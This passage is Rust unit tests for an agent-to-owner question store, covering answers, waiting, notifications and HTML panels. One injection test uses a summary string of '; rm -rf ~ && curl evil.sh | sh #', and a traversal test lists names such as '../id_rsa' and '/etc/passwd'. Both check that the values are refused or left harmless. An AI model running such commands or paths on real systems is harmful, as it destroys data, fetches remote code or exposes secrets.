1764 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1765 assert_eq!(n, 1);
1766 let back = store.get(&q.id).unwrap();
1767 assert!(!back.status.open());
1768 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1769
1770 // A second call against the same, now-settled run finds nothing left.
1771 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1772 }
1773
1774 fn choice_question() -> Question {
1775 Question::new(
1776 "20260902-201256-9fb7".to_owned(),
1777 "implement".to_owned(),
1778 "impl-A".to_owned(),
1779 "Which storage backend should the cache use?".to_owned(),
1780 "Both are already dependencies.".to_owned(),
1781 vec!["SQLite".to_owned(), "Redis".to_owned()],
1782 )
1783 }
1784
1785 fn free_question() -> Question {
1786 Question::new(
1787 "20260902-201256-9fb7".to_owned(),
1788 "review".to_owned(),
1789 "rev-1".to_owned(),
1790 "What should the error message say?".to_owned(),
1791 String::new(),
1792 Vec::new(),
1793 )
1794 }
1795
1796 /// No notification, which is the default and what most of these want.
1797 fn quiet() -> config::Notify {
1798 config::Notify::default()
1799 }
1800
1801 #[test]
1802 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1803 // The front end parses these names by hand; there is no shared schema
1804 // and no compiler between the two. A rename here is a UI that shows an
1805 // empty card and reports no error, so the names are asserted literally.
1806 let mut q = choice_question();
1807 q.id = "20260902-231501-ab12".to_owned();
1808 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1809 // `serde_json::Value` holds an object's keys sorted, and key order
1810 // means nothing to a JSON reader anyway: the field *set* is what the
1811 // front end was written against, so that is what is pinned here.
1812 let keys: Vec<&str> = open
1813 .as_object()
1814 .unwrap()
1815 .keys()
1816 .map(String::as_str)
1817 .collect();
1818 assert_eq!(
1819 keys,
1820 [
1821 "actions",
1822 "answer",
1823 "answer_delivered",
1824 "answer_timeout",
1825 "answered_at",
1826 "asked_at",
1827 "assets",
1828 "choices",
1829 "cwd",
1830 "delivered_turns",
1831 "detail",
1832 "id",
1833 "node",
1834 "panel",
1835 "run",
1836 "schema",
1837 "seat",
1838 "status",
1839 "summary",
1840 "thread",
1841 "waiter",
1842 ],
1843 "the on-disk field set is a contract with the front end"
1844 );
1845 assert_eq!(open["schema"], 4);
1846 assert_eq!(open["thread"], serde_json::json!([]));
1847 assert_eq!(open["id"], "20260902-231501-ab12");
1848 assert_eq!(open["run"], "20260902-201256-9fb7");
1849 assert_eq!(open["node"], "implement");
1850 assert_eq!(open["seat"], "impl-A");
1851 assert_eq!(open["status"], "open");
1852 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1853 assert_eq!(open["answered_at"], serde_json::Value::Null);
1854 assert_eq!(open["answer"], serde_json::Value::Null);
1855 let asked = open["asked_at"].as_str().unwrap();
1856 assert!(
1857 asked.ends_with('Z') && asked.contains('T'),
1858 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1859 );
1860
1861 // A chosen option, exactly as the contract spells it.
1862 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1863 let answered = serde_json::to_value(&q).unwrap();
1864 assert_eq!(answered["status"], "answered");
1865 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1866 assert!(answered["answered_at"].is_string());
1867
1868 // And free text, which is the other of the two forms.
1869 let mut free = free_question();
1870 free.answer(Answer::Text("Say which file it was".to_owned()))
1871 .unwrap();
1872 assert_eq!(
1873 serde_json::to_value(&free).unwrap()["answer"],
1874 serde_json::json!({"text": "Say which file it was"})
1875 );
1876
1877 // And it survives the round trip a reader actually performs.
1878 let body = serde_json::to_string(&q).unwrap();
1879 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1880 }
1881
1882 #[test]
1883 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1884 // Four different mistakes, four different fixes: the web handler shows
1885 // these strings to the person who made them.
1886 let mut unoffered = choice_question();
1887 let a = unoffered
1888 .answer(Answer::Choice("Postgres".to_owned()))
1889 .unwrap_err()
1890 .to_string();
1891
1892 let mut typed = choice_question();
1893 let b = typed
1894 .answer(Answer::Text("use Postgres".to_owned()))
1895 .unwrap_err()
1896 .to_string();
1897
1898 let mut blank = free_question();
1899 let c = blank
1900 .answer(Answer::Text(" \n".to_owned()))
1901 .unwrap_err()
1902 .to_string();
1903
1904 let mut twice = choice_question();
1905 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1906 let d = twice
1907 .answer(Answer::Choice("Redis".to_owned()))
1908 .unwrap_err()
1909 .to_string();
1910
1911 assert!(a.contains("not one of the choices"), "{a}");
1912 assert!(b.contains("multiple choice"), "{b}");
1913 assert!(c.contains("empty"), "{c}");
1914 assert!(d.contains("already answered"), "{d}");
1915 let mut distinct = vec![a, b, c, d];
1916 let asked = distinct.len();
1917 distinct.sort_unstable();
1918 distinct.dedup();
1919 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1920
1921 // The refused ones are still open, so the owner can answer properly.
1922 assert_eq!(unoffered.status, QuestionStatus::Open);
1923 assert_eq!(typed.status, QuestionStatus::Open);
1924 assert_eq!(blank.status, QuestionStatus::Open);
1925 // And the first answer to the double-answered one survived.
1926 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1927
1928 // Free text refuses a fabricated choice for the mirror-image reason.
1929 let mut free = free_question();
1930 let e = free
1931 .answer(Answer::Choice("SQLite".to_owned()))
1932 .unwrap_err()
1933 .to_string();
1934 assert!(e.contains("free text"), "{e}");
1935 }
1936
1937 #[test]
1938 fn open_questions_are_listed_before_answered_ones() {
1939 let (_dir, s) = store();
1940 // Ids carry a timestamp, so force a known order: the answered one is
1941 // the newest, and must still sort below the open ones.
1942 let mut old_open = choice_question();
1943 old_open.id = "20260101-000001-aaaa".to_owned();
1944 let mut new_open = choice_question();
1945 new_open.id = "20260101-000002-bbbb".to_owned();
1946 let mut answered = choice_question();
1947 answered.id = "20260101-000003-cccc".to_owned();
1948 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1949 for q in [&mut old_open, &mut new_open, &mut answered] {
1950 s.put(q).unwrap();
1951 }
1952
1953 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1954 assert_eq!(
1955 ids,
1956 [
1957 "20260101-000002-bbbb",
1958 "20260101-000001-aaaa",
1959 "20260101-000003-cccc"
1960 ],
1961 "what has stopped work comes first; history sorts underneath"
1962 );
1963 assert_eq!(s.count_open(), 2);
1964 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1965 assert!(s.open_for("some-other-run").is_empty());
1966 // The short id is what the phone and the reports show.
1967 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1968 assert!(s.get("20260101-000002-bbbb").is_ok());
1969 assert!(s.resolve_id("nope").is_err());
1970 assert!(
1971 s.revision() > 0,
1972 "the store's mtime drives the phone's polling"
1973 );
1974 }
1975
1976 #[test]
1977 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1978 let (_dir, s) = store();
1979 let mut good = choice_question();
1980 s.put(&mut good).unwrap();
1981 // Truncated by a killed writer, and written by a magi from the future.
1982 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1983 let future = serde_json::json!({
1984 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1985 "seat": "s", "summary": "?", "detail": "", "choices": [],
1986 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1987 "answered_at": null, "answer": null,
1988 });
1989 std::fs::write(
1990 s.path_of("20260101-000010-beef"),
1991 serde_json::to_string(&future).unwrap(),
1992 )
1993 .unwrap();
1994
1995 let listed = s.list();
1996 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1997 assert_eq!(listed[0].id, good.id);
1998 // Asked for by name, the unreadable one explains itself instead.
1999 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2000 assert!(e.contains("schema"), "{e}");
2001 }
2002
2003 #[tokio::test]
2004 async fn the_wait_returns_the_answer_another_process_wrote() {
2005 // The phone, `magi answer` and this run are three processes with no
2006 // channel between them: the file is the channel, so the wait has to see
2007 // a write it did not make. Sub-second timings keep this a real wait
2008 // without a real one's duration.
2009 let (dir, s) = store();
2010 let mut q = choice_question();
2011 let id = q.id.clone();
2012 let writer = Questions::at(dir.path().join("questions"));
2013 let handle = tokio::spawn(async move {
2014 tokio::time::sleep(Duration::from_millis(30)).await;
2015 let mut fresh = writer.get(&id).expect("the question was filed first");
2016 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2017 writer.put(&mut fresh).unwrap();
2018 });
2019
2020 let got = wait_for_owner(
2021 &mut q,
2022 &s,
2023 &quiet(),
2024 Duration::from_secs(5),
2025 Duration::from_millis(10),
2026 )
2027 .await
2028 .unwrap();
2029
2030 handle.await.unwrap();
2031 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2032 assert_eq!(
2033 q.status,
2034 QuestionStatus::Answered,
2035 "the caller's copy is refreshed from the answering process's record"
2036 );
2037 assert!(q.answered_at.is_some());
2038 }
2039
2040 #[tokio::test]
2041 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2042 let (_dir, s) = store();
2043 let mut q = choice_question();
2044
2045 let got = wait_for_owner(
2046 &mut q,
2047 &s,
2048 &quiet(),
2049 Duration::from_millis(60),
2050 Duration::from_millis(10),
2051 )
2052 .await
2053 .unwrap();
2054
2055 assert_eq!(
2056 got,
2057 Wait::Abandoned,
2058 "a slow human is not an error; the run parks"
2059 );
2060 assert_eq!(q.status, QuestionStatus::Abandoned);
2061 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2062 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2063 assert!(
2064 on_disk.detail.contains("Abandoned:"),
2065 "why nobody answered belongs with the question: {}",
2066 on_disk.detail
2067 );
2068 assert!(on_disk.resolution().is_none());
2069 assert_eq!(s.count_open(), 0);
2070 }
2071
2072 #[tokio::test]
2073 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2074 // This is the whole point of slicing: `timeout` (the real
2075 // `answer_timeout` budget) is far larger than `slice`, so the loop
2076 // must land on `slice` first and hand back `Pending` - not read the
2077 // silence so far as the owner having given up.
2078 let (_dir, s) = store();
2079 let mut q = choice_question();
2080 s.put(&mut q).unwrap();
2081
2082 let got = wait_loop(
2083 &mut q,
2084 &s,
2085 Duration::from_secs(3600),
2086 Duration::from_millis(30),
2087 Duration::from_millis(10),
2088 )
2089 .await
2090 .unwrap();
2091
2092 assert_eq!(
2093 got,
2094 Wait::Pending,
2095 "the clock on this call ran out, not the owner's patience"
2096 );
2097 assert_eq!(
2098 q.status,
2099 QuestionStatus::Open,
2100 "a slice expiring must never abandon the question"
2101 );
2102 let on_disk = s.get(&q.id).expect("still on disk, still open");
2103 assert_eq!(
2104 on_disk.status,
2105 QuestionStatus::Open,
2106 "nothing about the record changed just because this call gave up"
2107 );
2108 }
2109
2110 #[tokio::test]
2111 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2112 // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2113 // and returns `Pending`, a second slice - a fresh call, exactly as a
2114 // fresh process would make - picks the same question back up and
2115 // sees an answer written in between.
2116 let (dir, s) = store();
2117 let mut q = choice_question();
2118 s.put(&mut q).unwrap();
2119
2120 let first = wait_loop(
2121 &mut q,
2122 &s,
2123 Duration::from_secs(3600),
2124 Duration::from_millis(30),
2125 Duration::from_millis(10),
2126 )
2127 .await
2128 .unwrap();
2129 assert_eq!(first, Wait::Pending);
2130
2131 let id = q.id.clone();
2132 let writer = Questions::at(dir.path().join("questions"));
2133 let mut fresh = writer.get(&id).unwrap();
2134 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2135 writer.put(&mut fresh).unwrap();
2136
2137 // `resume_wait` uses its own production poll interval rather than a
2138 // test-injected one, so the budget here only needs to be large enough
2139 // to cover one real poll tick - the point is that it is `resume_wait`
2140 // itself, not a helper, that finds the answer.
2141 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2142 .await
2143 .unwrap();
2144 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2145 assert_eq!(q.status, QuestionStatus::Answered);
2146 }
2147
2148 #[tokio::test]
2149 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2150 // The owner can speak back while nothing is running at all - between
2151 // one call reporting `Wait::Pending` and the next `--wait` picking
2152 // the question back up - and whoever resumes the wait loads a
2153 // *fresh* copy of the question off disk, one whose thread already
2154 // contains that reply. A baseline taken from that fresh copy would
2155 // treat the reply as pre-existing and never notice it "arrive",
2156 // leaving the agent polling in silence until `answer_timeout`
2157 // eventually abandons the question - replacing the exact accident
2158 // this feature exists to fix with a quieter version of itself.
2159 let (dir, s) = store();
2160 let mut q = choice_question();
2161 s.put(&mut q).unwrap();
2162
2163 let first = wait_loop(
2164 &mut q,
2165 &s,
2166 Duration::from_secs(3600),
2167 Duration::from_millis(30),
2168 Duration::from_millis(10),
2169 )
2170 .await
2171 .unwrap();
2172 assert_eq!(first, Wait::Pending);
2173
2174 // The owner speaks back during the gap, with nobody running yet.
2175 let id = q.id.clone();
2176 let writer = Questions::at(dir.path().join("questions"));
2177 let mut fresh = writer.get(&id).unwrap();
2178 fresh.say("why not Postgres?").unwrap();
2179 writer.put(&mut fresh).unwrap();
2180
2181 // `magi ask --wait` re-reads the question rather than reusing the
2182 // stale in-memory copy the earlier call held - so the copy handed to
2183 // `resume_wait` here already carries the reply, same as `fresh` above.
2184 let mut resumed = s.get(&id).unwrap();
2185 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2186 .await
2187 .unwrap();
2188 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2189 assert_eq!(
2190 resumed.status,
2191 QuestionStatus::Open,
2192 "talking back is not a decision; the question stays open"
2193 );
2194 }
2195
2196 #[tokio::test]
2197 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2198 // A broken webhook must not throw away an implementation, so the wait
2199 // reports the failure and carries on. `notify` itself still says what
2200 // went wrong, because `magi notify --test` has to be able to show it.
2201 let (dir, s) = store();
2202 let broken = config::Notify {
2203 command: vec![
2204 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2205 "{summary}".to_owned(),
2206 ],
2207 };
2208 let mut q = choice_question();
2209 assert!(
2210 notify(&broken, &q).await.is_err(),
2211 "the caller is told; it decides that it does not matter"
2212 );
2213
2214 let id = q.id.clone();
2215 let writer = Questions::at(dir.path().join("questions"));
2216 let handle = tokio::spawn(async move {
2217 tokio::time::sleep(Duration::from_millis(30)).await;
2218 let mut fresh = writer.get(&id).unwrap();
2219 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2220 writer.put(&mut fresh).unwrap();
2221 });
2222 let got = wait_for_owner(
2223 &mut q,
2224 &s,
2225 &broken,
2226 Duration::from_secs(5),
2227 Duration::from_millis(10),
2228 )
2229 .await
2230 .unwrap();
2231 handle.await.unwrap();
2232 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2233
2234 // No command at all is the default, and is silence rather than failure.
2235 assert!(notify(&quiet(), &q).await.is_ok());
2236 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2237 }
2238
2239 #[test]
2240 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2241 let mut q = choice_question();
2242 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2243 let template = [
2244 "ntfy".to_owned(),
2245 "publish".to_owned(),
2246 "--click".to_owned(),
2247 "{url}".to_owned(),
2248 "--title".to_owned(),
2249 "magi {run} needs you".to_owned(),
2250 "{summary}".to_owned(),
2251 ];
2252 let argv: Vec<String> = template
2253 .iter()
2254 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2255 .collect();
2256
2257 assert_eq!(
2258 argv,
2259 [
2260 "ntfy",
2261 "publish",
2262 "--click",
2263 "http://100.64.0.1:7777/#/questions",
2264 "--title",
2265 "magi 20260902-201256-9fb7 needs you",
2266 "; rm -rf ~ && curl evil.sh | sh #",
2267 ],
2268 "the shell metacharacters are one argument's contents, not syntax"
2269 );
2270
2271 // A summary that itself mentions a placeholder is text, not a template:
2272 // one left-to-right pass means a substituted value is never rescanned.
2273 q.summary = "should {url} be configurable?".to_owned();
2274 assert_eq!(
2275 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2276 "should {url} be configurable?"
2277 );
2278 // An unknown brace is the operator's own text and survives untouched.
2279 assert_eq!(
2280 expand("{title}: {run}", &q.run, &q.summary, ""),
2281 "{title}: 20260902-201256-9fb7"
2282 );
2283 assert_eq!(
2284 expand("no placeholders", &q.run, &q.summary, "http://x"),
2285 "no placeholders"
2286 );
2287 }
2288
2289 #[test]
2290 fn the_notification_link_lands_on_the_view_that_can_answer() {
2291 assert_eq!(
2292 question_url("http://100.64.0.1:7777"),
2293 "http://100.64.0.1:7777/#/questions"
2294 );
2295 assert_eq!(
2296 question_url("http://100.64.0.1:7777/"),
2297 "http://100.64.0.1:7777/#/questions"
2298 );
2299 // An operator who wrote a fragment has said where they want to land.
2300 assert_eq!(
2301 question_url("http://magi.ts.net/#/runs"),
2302 "http://magi.ts.net/#/runs"
2303 );
2304 // Unset expands to nothing rather than to a guessed address.
2305 assert_eq!(question_url(" "), "");
2306 }
2307
2308 /// A question with a fixed id, so a panel's path on disk is predictable.
2309 fn panelled() -> Question {
2310 let mut q = choice_question();
2311 q.id = "20260903-014455-ab12".to_owned();
2312 q
2313 }
2314
2315 #[test]
2316 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2317 let (dir, s) = store();
2318 let work = dir.path().join("worktree");
2319 std::fs::create_dir_all(&work).unwrap();
2320 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2321 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2322
2323 let mut q = panelled();
2324 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2325 s.put_panel(
2326 &mut q,
2327 html,
2328 &[work.join("table.png"), work.join("diff.svg")],
2329 )
2330 .unwrap();
2331 s.put(&mut q).unwrap();
2332
2333 assert!(q.panel);
2334 assert_eq!(
2335 q.assets,
2336 ["diff.svg", "table.png"],
2337 "sorted, not in the order the agent happened to pass them"
2338 );
2339 assert_eq!(
2340 s.panel_html(&q.id).as_deref(),
2341 Some(html),
2342 "the html is stored byte for byte; the agent authored the markup"
2343 );
2344 assert_eq!(
2345 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2346 Some(&b"<svg/>"[..])
2347 );
2348
2349 // The record on disk carries the same two fields the front end reads.
2350 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2351 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2352 assert_eq!(json["panel"], true);
2353 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2354 let back = s.get(&q.id).unwrap();
2355 assert!(back.panel);
2356 assert_eq!(back.assets, q.assets);
2357
2358 // The assets were copied, so the panel still renders after `magi fold`
2359 // has deleted the candidate worktree the agent authored it in.
2360 std::fs::remove_dir_all(&work).unwrap();
2361 assert_eq!(
2362 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2363 Some(&b"\x89PNG"[..]),
2364 "a referenced asset would be gone with the worktree"
2365 );
2366 }
2367
2368 #[test]
2369 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2370 let (dir, s) = store();
2371 let mut q = panelled();
2372 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2373 s.put(&mut q).unwrap();
2374
2375 // A file exactly one level up from the panel directory - which is
2376 // where `..` lands - holding content a read would make visible.
2377 let secret = "this must never reach the browser";
2378 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2379 assert_eq!(
2380 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2381 secret,
2382 "the traversal is real: the operating system resolves this path \
2383 happily, which is why the name has to be refused before the join"
2384 );
2385
2386 let long = "x".repeat(200);
2387 for name in [
2388 "..",
2389 "../id_rsa",
2390 "..\\id_rsa",
2391 "sub/../id_rsa",
2392 "/",
2393 "\\",
2394 "/etc/passwd",
2395 "C:\\Windows\\win.ini",
2396 "",
2397 ".hidden",
2398 ".",
2399 long.as_str(),
2400 ] {
2401 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2402 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2403 assert!(
2404 e.contains("not a panel file name"),
2405 "`{name}` must be refused as a name, not attempted: {e}"
2406 );
2407 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2408 }
2409 // A name that is allowed still finds its file, so the refusals above
2410 // were the rule at work and not a store that reads nothing.
2411 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2412
2413 // The same rule on the write side, where the name comes from a source
2414 // file's base name, and a refusal leaves the stored panel untouched.
2415 let hidden = dir.path().join(".hidden");
2416 std::fs::write(&hidden, "x").unwrap();
2417 let e = s
2418 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2419 .unwrap_err()
2420 .to_string();
2421 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2422 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2423 assert!(q.assets.is_empty());
2424 }
2425
2426 #[test]
2427 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2428 let (dir, s) = store();
2429 let mut q = panelled();
2430 s.put(&mut q).unwrap();
2431
2432 // Sized rather than filled: the cap reads the file's length, and a
2433 // test that actually produced eight mebibytes would only be slower.
2434 let big = dir.path().join("recording.png");
2435 std::fs::File::create(&big)
2436 .unwrap()
2437 .set_len(PANEL_MAX_BYTES)
2438 .unwrap();
2439
2440 let html = "<p>see the recording</p>";
2441 let total = PANEL_MAX_BYTES + html.len() as u64;
2442 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2443 assert!(
2444 e.contains(&PANEL_MAX_BYTES.to_string()),
2445 "the cap is named so the agent knows the limit: {e}"
2446 );
2447 assert!(
2448 e.contains(&total.to_string()),
2449 "the actual size is named so the agent knows by how much: {e}"
2450 );
2451
2452 assert!(!q.panel);
2453 assert!(q.assets.is_empty());
2454 let left: Vec<String> = std::fs::read_dir(s.root())
2455 .unwrap()
2456 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2457 .collect();
2458 assert_eq!(
2459 left,
2460 [format!("{}.json", q.id)],
2461 "a refused panel leaves neither a directory nor scratch: {left:?}"
2462 );
2463 }
2464
2465 #[test]
2466 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2467 let (dir, s) = store();
2468 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2469 std::fs::create_dir_all(&before).unwrap();
2470 std::fs::create_dir_all(&after).unwrap();
2471 std::fs::write(before.join("diff.png"), "before").unwrap();
2472 std::fs::write(after.join("diff.png"), "after").unwrap();
2473
2474 let mut q = panelled();
2475 let e = s
2476 .put_panel(
2477 &mut q,
2478 "<p>x</p>",
2479 &[before.join("diff.png"), after.join("diff.png")],
2480 )
2481 .unwrap_err()
2482 .to_string();
2483 assert!(e.contains("diff.png"), "{e}");
2484 assert!(
2485 e.contains("before") && e.contains("after"),
2486 "both sources are named, because the fix is to rename one: {e}"
2487 );
2488 assert!(!q.panel);
2489 assert!(!s.panel_dir(&q.id).exists());
2490 }
2491
2492 #[test]
2493 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2494 let (dir, s) = store();
2495 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2496 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2497
2498 let mut q = panelled();
2499 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2500 .unwrap();
2501 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2502 .unwrap();
2503
2504 assert_eq!(q.assets, ["new.png"]);
2505 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2506 assert!(
2507 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2508 "an asset from the first attempt would show a mix of two answers"
2509 );
2510
2511 s.drop_panel(&q.id).unwrap();
2512 assert!(s.panel_html(&q.id).is_none());
2513 assert!(!s.panel_dir(&q.id).exists());
2514 s.drop_panel(&q.id)
2515 .expect("dropping a panel that is already gone is the desired state");
2516 }
2517
2518 #[test]
2519 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2520 let (_dir, s) = store();
2521 let mut q = panelled();
2522 s.put(&mut q).unwrap();
2523
2524 assert!(!q.panel);
2525 assert!(s.panel_html(&q.id).is_none());
2526 assert!(
2527 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2528 "a missing file is a 404 for the caller, not a failure of the store"
2529 );
2530 let json = serde_json::to_value(&q).unwrap();
2531 assert_eq!(json["panel"], false);
2532 assert_eq!(json["assets"], serde_json::json!([]));
2533
2534 // And an empty panel is refused, because an empty frame reads to the
2535 // owner as "the agent had nothing to say".
2536 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2537 assert!(e.contains("empty panel"), "{e}");
2538 assert!(!s.panel_dir(&q.id).exists());
2539 }
2540
2541 #[test]
2542 fn a_question_written_before_panels_existed_still_deserialises() {
2543 let (_dir, s) = store();
2544 std::fs::create_dir_all(s.root()).unwrap();
2545 let id = "20260902-231501-ab12";
2546 // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2547 let body = r#"{
2548 "schema": 1,
2549 "id": "20260902-231501-ab12",
2550 "run": "20260902-201256-9fb7",
2551 "node": "implement",
2552 "seat": "impl-A",
2553 "summary": "Which storage backend should the cache use?",
2554 "detail": "Both are already dependencies.",
2555 "choices": ["SQLite", "Redis"],
2556 "status": "open",
2557 "asked_at": "2026-09-02T23:15:01Z",
2558 "answered_at": null,
2559 "answer": null
2560}"#;
2561 std::fs::write(s.path_of(id), body).unwrap();
2562
2563 let q = s.get(id).unwrap();
2564 assert!(
2565 !q.panel,
2566 "an absent field means no panel, not a parse error"
2567 );
2568 assert!(q.assets.is_empty());
2569 // Schema 1 predates `thread` entirely - not merely predates it having
2570 // any turns - and this build now speaks schema 3. Reading it must not
2571 // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2572 // accepted and the missing field defaults to no conversation yet.
2573 assert_eq!(q.schema, 1);
2574 assert!(q.thread.is_empty());
2575 assert_eq!(
2576 q.answer_timeout, 0,
2577 "an absent field means unrecorded, not a zero-second deadline"
2578 );
2579 assert!(!q.waiting_on_agent());
2580 assert_eq!(q.summary, "Which storage backend should the cache use?");
2581 assert_eq!(
2582 s.list().len(),
2583 1,
2584 "and it is still listed; skipping it would hide an open question"
2585 );
2586 }
2587
2588 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2589 Turn {
2590 who,
2591 body: body.to_owned(),
2592 at,
2593 }
2594 }
2595
2596 #[test]
2597 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2598 // The phone reads this shape by hand, same as the question itself: a
2599 // rename here is a card that silently drops every message in it.
2600 let mut q = choice_question();
2601 q.thread
2602 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2603 let value = serde_json::to_value(&q.thread[0]).unwrap();
2604 let mut keys: Vec<&str> = value
2605 .as_object()
2606 .unwrap()
2607 .keys()
2608 .map(String::as_str)
2609 .collect();
2610 keys.sort_unstable();
2611 assert_eq!(keys, ["at", "body", "who"]);
2612 assert_eq!(value["who"], "operator");
2613 assert_eq!(value["body"], "why not Postgres?");
2614
2615 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2616 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2617 assert_eq!(parsed.who, Who::Agent);
2618 }
2619
2620 #[test]
2621 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2622 let mut q = choice_question();
2623 q.say("does the cache need eviction?").unwrap();
2624 assert_eq!(q.thread.len(), 1);
2625 assert_eq!(q.thread[0].who, Who::Operator);
2626 assert_eq!(q.thread[0].body, "does the cache need eviction?");
2627 // Speaking is not deciding: the status and the answer are untouched,
2628 // which is the whole point of the round trip existing at all.
2629 assert_eq!(q.status, QuestionStatus::Open);
2630 assert!(q.answer.is_none());
2631 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2632 }
2633
2634 #[test]
2635 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2636 let mut answered = choice_question();
2637 answered
2638 .answer(Answer::Choice("SQLite".to_owned()))
2639 .unwrap();
2640 let a = answered.say("still there?").unwrap_err().to_string();
2641 assert!(a.contains("already answered"), "{a}");
2642 let b = answered
2643 .reply("still there?", vec![])
2644 .unwrap_err()
2645 .to_string();
2646 assert!(b.contains("already answered"), "{b}");
2647
2648 let mut abandoned = choice_question();
2649 abandoned.abandon("timed out");
2650 let c = abandoned.say("hello?").unwrap_err().to_string();
2651 assert!(c.contains("abandoned"), "{c}");
2652
2653 let mut open = choice_question();
2654 let d = open.say(" ").unwrap_err().to_string();
2655 assert!(d.contains("empty"), "{d}");
2656 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
2657 assert!(e.contains("empty"), "{e}");
2658 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2659 }
2660
2661 #[test]
2662 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2663 let mut q = choice_question();
2664 q.say("SQLite or Redis, but what about disk space?")
2665 .unwrap();
2666 assert!(q.waiting_on_agent());
2667
2668 q.reply(
2669 "SQLite: it is one file, no server to run.",
2670 vec!["SQLite".to_owned()],
2671 )
2672 .unwrap();
2673
